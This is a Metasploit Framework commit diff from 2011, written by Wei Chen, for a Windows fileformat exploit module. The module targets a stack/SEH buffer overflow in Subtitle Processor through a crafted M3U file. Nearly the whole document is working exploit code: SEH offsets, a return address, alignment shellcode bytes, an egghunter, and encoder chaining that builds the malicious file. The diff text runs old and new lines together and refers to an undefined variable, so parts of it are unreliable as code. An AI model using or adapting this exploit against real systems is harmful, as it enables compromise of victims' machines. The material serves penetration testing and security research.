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metasploit-framework
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Fix #5937. Vista is currently taken down because it's not stable enough. 

git-svn-id: file:///home/svn/framework3/trunk@14188 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-11-08 09:35:18 +00:00
parent 2d80d1e144
commit c4fa5b4674
1 changed files with 45 additions and 88 deletions
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133
modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb
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@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = NormalRanking
include Msf::Exploit::FILEFORMAT include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Egghunter
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
@ -41,8 +42,6 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' => 'Payload' =>
{ {
'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80", 'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'BufferRegister' => 'ECX',
'StackAdjustment' => -3500, 'StackAdjustment' => -3500,
}, },
'DefaultOptions' => 'DefaultOptions' =>
@ -55,23 +54,15 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
'Windows XP SP3', 'Windows XP SP3',
{ {
'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL 'Nop' => "\x43", #ADD BYTE PTR DS:[EBX],AL
'Offset' => 4078, #Offset to SEH chain 'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe) 'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size 'Max' => 6000 #Max buffer size
}, },
], ],
[
'Windows Vista SP0',
{
'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL
'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size
}
],
], ],
'Privileged' => false, 'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => "Apr 26 2011" )) 'DisclosureDate' => "Apr 26 2011" ))
register_options( register_options(
@ -80,93 +71,59 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class) ], self.class)
end end
def get_unicode_payload(p) def get_unicode_payload(p, opts)
encoder = framework.encoders.create("x86/alpha_mixed")
encoder.datastore.import_options_from_hash({'BufferRegister' => opts[:AlphaNumRegister] })
alpha_payload = encoder.encode(p, nil, nil, platform)
# This code can be found after the unicode payload is decoded
alignment = opts[:PrependAlignment] || ""
encoder = framework.encoders.create("x86/unicode_mixed") encoder = framework.encoders.create("x86/unicode_mixed")
encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} ) encoder.datastore.import_options_from_hash( {'BufferRegister'=> opts[:UnicodeRegister] })
unicode_payload = encoder.encode(p, nil, nil, platform) unicode_payload = encoder.encode(alignment + alpha_payload, nil, nil, platform)
return unicode_payload return unicode_payload
end end
def exploit def exploit
#NOP between each instruction
nop = target['Nop'] nop = target['Nop']
sploit = '' sploit = ''
#Create the exploit hunter, p = generate_egghunter(payload.encoded, payload_badchars, { :checksum => false })
if target.name =~ /XP/
#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX opts = {
alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1" :AlphaNumRegister => 'EAX',
tmp = alignment << payload.encoded :UnicodeRegister => 'ECX',
p = get_unicode_payload(tmp) # PUSH EBX; POP EAX; XOR AX, 0x4450; XOR AX, 0x4634; DEC EAX; XOR AL, 0x41; XOR AL, 0x57
:PrependAlignment => "\x53\x58\x66\x35\x50\x44\x66\x35\x34\x46\x48\x34\x41\x34\x57"
}
hunter = get_unicode_payload(hunter, opts)
#4050 bytes for shellcode sploit << rand_text_alpha(target['Offset'])
sploit << rand_text_alpha(2) #Padding sploit << "\x61"
sploit << p sploit << nop
sploit << rand_text_alpha(target['Offset']-sploit.length) sploit << [target.ret].pack('V*')
sploit << "\x61" sploit << nop
sploit << nop # first stage starts here
sploit << [target.ret].pack('V*') sploit << "\x59" #POP ECX
sploit << nop sploit << nop
sploit << "\x61" #POPAD sploit << "\x54" #PUSH ESP
sploit << nop sploit << nop
sploit << "\x61" #POPAD sploit << "\x59" #POP ECX
sploit << nop sploit << "\x41" #ADD BYTE PTR DS:[ECX], AL
sploit << "\x61" #POPAD sploit << "\x59" #POP ECX
sploit << nop sploit << nop
sploit << "\x51" #PUSH ECX (for x86/unicode_mixed) sploit << "\x51" #PUSH ECX
sploit << nop sploit << nop
sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX) sploit << "\xc3" #RET
sploit << nop sploit << rand_text_alpha(48)
sploit << "\x51" #PUSH ECX sploit << hunter
sploit << nop sploit << rand_text_alpha(200)
sploit << "\xc3" #RETN sploit << p
sploit << rand_text_alpha(target['Max']-sploit.length) sploit << rand_text_alpha(target['Max']-sploit.length)
elsif target.name =~ /Vista/
# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
tmp = alignment << payload.encoded
p = get_unicode_payload(tmp)
#4008 bytes of space for shellcode
sploit << rand_text_alpha(62)
sploit << p
sploit << rand_text_alpha(target['Offset']-sploit.length)
sploit << "\x61"
sploit << nop
sploit << [target.ret].pack('V*')
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\x59"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\xc3"
sploit << nop
sploit << rand_text_alpha(target['Max']-sploit.length)
end
#Generate file #Generate file
print_status("Creating #{datastore['FILENAME']}...") print_status("Creating #{datastore['FILENAME']}...")
file_create(sploit) file_create(sploit)
end end
end end